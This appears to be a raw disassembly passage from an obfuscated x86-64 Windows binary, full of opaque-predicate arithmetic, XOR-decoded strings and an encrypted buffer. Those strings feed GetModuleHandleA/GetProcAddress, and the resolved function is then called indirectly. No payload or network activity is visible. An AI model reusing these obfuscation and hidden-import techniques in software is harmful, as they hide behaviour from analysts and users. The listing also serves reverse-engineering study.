cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000bf7b
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000bf7b
mov dword [rbp - 0x70], r14d
jmp 0x14000bfcc
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000bfcc
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c040
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000c040
mov dword [rbp - 0x74], r14d
jmp 0x14000c091
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c091
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x74]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x70]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx edx, byte [0x14001a340]
imul edx, r10d
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000c296
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c153
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000c153
mov dword [rbp - 0x7c], r14d
jmp 0x14000c1a4
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c1a4
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x7c], eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c218
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000c218
mov dword [rbp - 0x78], r14d
jmp 0x14000c269
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c269
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x78], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x78]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x7c]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
imul ecx, dword [rbp - 0x40], 7
movsx eax, byte [0x14001a004]
add ecx, dword [rbp - 0x3c]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c498
mov eax, dword [rsp + 0x30]
sub eax, 0x59
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c344
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000c344
mov dword [rsp + 0x70], r14d
jmp 0x14000c396
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c396
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x59
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c419
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000c419
mov dword [rbp - 0x80], r14d
jmp 0x14000c46a
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c46a
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x80], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x80]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rsp + 0x70]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx ecx, byte [0x14001a340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000c677
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c52f
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000c52f
mov dword [rsp + 0x44], r14d
jmp 0x14000c581
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c581
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x44], eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c5f6
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000c5f6
mov dword [rsp + 0x64], r14d
jmp 0x14000c648
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c648
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rsp + 0x64]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rsp + 0x44]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0xb
jb 0x14000bcf0
mov byte [r9], 1
lea rcx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov byte [rbp - 0x55], 0
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x55]
call fcn.140004a00
mov rbx, rax
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14000c6e2
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor cl, 0x3e
mov byte [rax + 5], cl
mov byte [rbp - 0x50], 0
lea rdx, [rbp + 0x180]
lea rcx, [rbp - 0x50]
call fcn.1400046a0
mov r10, rax
xor r12d, r12d
cmp byte [rax + 0x85], r12b
je 0x14000c8a3
mov r8d, r12d
cmp dword [0x14001a010], 2
jl 0x14000c85b
movdqa xmm5, xmmword [0x140013b10]
movdqa xmm4, xmmword [0x140013b70]
movdqa xmm6, xmmword [0x140013b30]
movdqa xmm0, xmmword [0x140013b60]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140013b50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x14000c750
cmp r8d, 0x86
jge 0x14000c8a3
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x86
jl 0x14000c870
xor r9d, r9d
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call rdi
jmp 0x14000c8b5
xor r12d, r12d
mov r11, qword [rbp - 0x68]
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c9a8
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x14000ca43
call fcn.1400054f0
movsx r9d, al
call fcn.1400054e0
movsx ecx, al
imul r9d, ecx
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca3a
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140005520
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
jmp 0x14000ca3e
mov eax, dword [rsp + 0x78]
cmp r12d, eax
jge 0x14000ca4d
mov eax, 1
jmp 0x140011d60
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
mov qword [rbp + 0x268], r12
mov qword [rbp + 0x270], 0xf
mov byte [rbp + 0x258], 0
movups xmmword [rbp + 0x238], xmm0
mov qword [rbp + 0x248], r12
mov qword [rbp + 0x250], 0xf
mov byte [rbp + 0x238], 0
movups xmmword [rbp + 0x218], xmm0
mov qword [rbp + 0x228], r12
mov qword [rbp + 0x230], 0xf
mov byte [rbp + 0x218], 0
mov byte [rsp + 0x48], 0
xor sil, sil
mov byte [rsp + 0x40], sil
mov r9d, r12d
mov dword [rbp - 0x44], r12d
call fcn.1400054f0
movsx edx, al
call fcn.1400054e0
movsx ecx, al
imul edx, ecx
lea r15d, [rdx + rdx*8]
call fcn.140005520
movsx ecx, al
add r15d, ecx
call fcn.1400054f0
movsx esi, al
call fcn.1400054e0
movsx ecx, al
imul esi, ecx
call fcn.140005520
movsx ecx, al
add esi, ecx
call fcn.1400054f0
movsx edi, al
call fcn.1400054e0
movsx ecx, al
imul edi, ecx
mov dword [rsp + 0x60], edi
call fcn.140005520
movsx r12d, al
mov dword [rsp + 0x64], r12d
lea ebx, [r12 + rdi*4]
add ebx, edi
mov dword [rsp + 0x30], ebx
mov r13d, 1
movsd xmm13, qword [0x140013a80]
movsd xmm7, qword [0x140013aa0]
movsd xmm8, qword [0x140013aa8]
movsd xmm9, qword [0x140013a88]
movsd xmm10, qword [0x140013ab0]
movsd xmm11, qword [0x140013a90]
movsd xmm12, qword [0x140013a98]
nop word [rax + rax]
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000cc31
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000cc31
mov eax, r14d
mov dword [rbp - 0x74], eax
jmp 0x14000cc87
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000cc84
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
jmp 0x14000cc87
mov eax, dword [rbp - 0x74]
cmp r9d, eax
jge 0x14000f093
mov r10d, r13d
mov dword [rsp + 0x44], r13d
mov r9, r13
mov qword [rsp + 0x38], r13
cmp dword [rbp - 0x54], 1
jle 0x14000d7aa
lea eax, [rdi + rdi*2]
lea ecx, [r12 + rax*2]
mov dword [rsp + 0x70], ecx
nop word [rax + rax]
movsx eax, byte [0x14001a004]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d780
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000cd92
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000cd92
mov dword [rbp - 0x70], r14d
jmp 0x14000cdee
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000cde5
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si edx, xmm0
mov dword [rbp - 0x70], edx
jmp 0x14000cde8
mov edx, dword [rbp - 0x70]
xor eax, eax
cmp eax, edx
jge 0x14000ce0d
movzx eax, word [0x1400136f0]
mov word [rbp - 0x38], ax
movzx eax, byte [0x1400136f2]
mov byte [rbp - 0x36], al
lea rcx, [rbp - 0x38]
mov qword [rbp + 0x10], rcx
jmp 0x14000ce11
mov rcx, qword [rbp + 0x10]
movzx eax, byte [rcx + 2]
test al, al
je 0x14000ce25
xor byte [rcx], 0x39
xor byte [rcx + 1], 0x3a
xor al, 0x3b
mov byte [rcx + 2], al
mov rax, qword [r11 + r9*8]
mov r8, rcx
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000ce43
inc rax
test ecx, ecx
jne 0x14000ce30
test edx, edx
jne 0x14000ce55
lea eax, [r10 + 1]
cmp eax, dword [rbp - 0x54]
jge 0x14000ce55
mov rdx, r13
jmp 0x14000ce59
xor eax, eax
mov edx, eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ceeb
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000ceeb
mov dword [rbp - 0x78], r14d
jmp 0x14000cf3c
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000cf3c
movsx eax, byte [0x14001a004]
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x78], eax
imul ebx, edi, 7
movsx eax, byte [0x14001a004]
add eax, r12d
add eax, ebx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x78]
test eax, eax
je 0x14000cffc
inc r10d
mov dword [rsp + 0x44], r10d
inc r9
mov qword [rsp + 0x38], r9
mov r9, qword [r11 + r9*8]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [r9 + rdi], 0
jne 0x14000cf86
mov rax, qword [rbp + 0x270]
cmp rdi, rax
ja 0x14000cfd9
lea rbx, [rbp + 0x258]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x258]
mov qword [rbp + 0x268], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
mov edi, dword [rsp + 0x60]
mov ebx, dword [rsp + 0x30]
mov r11, qword [rbp - 0x68]
jmp 0x14000d780
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x258]
call fcn.1400014c0
mov edi, dword [rsp + 0x60]
mov ebx, dword [rsp + 0x30]
mov r11, qword [rbp - 0x68]
jmp 0x14000d780
lea edx, [rdi + rdi*4]
movsx eax, byte [0x14001a004]
add eax, r12d
lea eax, [rax + rdx*2]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f08a
call fcn.140005500
movsx edi, al
mov r9d, edi
call fcn.140005530
movsx r12d, al
call fcn.140005510
movsx r13d, al
movsx edx, byte [0x14001a340]
imul edx, edi
lea r8d, [rdx + rdx*4]
sub r8d, r12d
add r8d, r13d
movsx eax, byte [0x14001a001]
add eax, r8d
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d0de
movsx edx, byte [0x14001a340]
imul edx, r9d
shl edx, 2
sub edx, r12d
add edx, r13d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000d0de
mov dword [rbp - 0x7c], r14d
jmp 0x14000d131
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d131
movsx eax, byte [0x14001a004]
add eax, dword [rsp + 0x30]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x7c], eax
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x7c]
xor edx, edx
test eax, eax
je 0x14000d40d
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm13
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d1ca
movsx edx, byte [0x14001a340]
imul edx, r9d
shl edx, 2
sub edx, r12d
add edx, r13d
movsx ecx, byte [0x14001a001]
add ecx, edx
jne 0x14000d204
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d204
movzx eax, byte [0x14001a004]
movzx eax, byte [0x14001a003]
movzx eax, byte [section..data]
movsd xmm0, qword [rsp + 0x50]
movsx eax, byte [0x14001a004]
mov r12d, dword [rsp + 0x64]
add eax, r12d
mov edi, dword [rsp + 0x60]
lea eax, [rax + rdi*4]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000d6fc
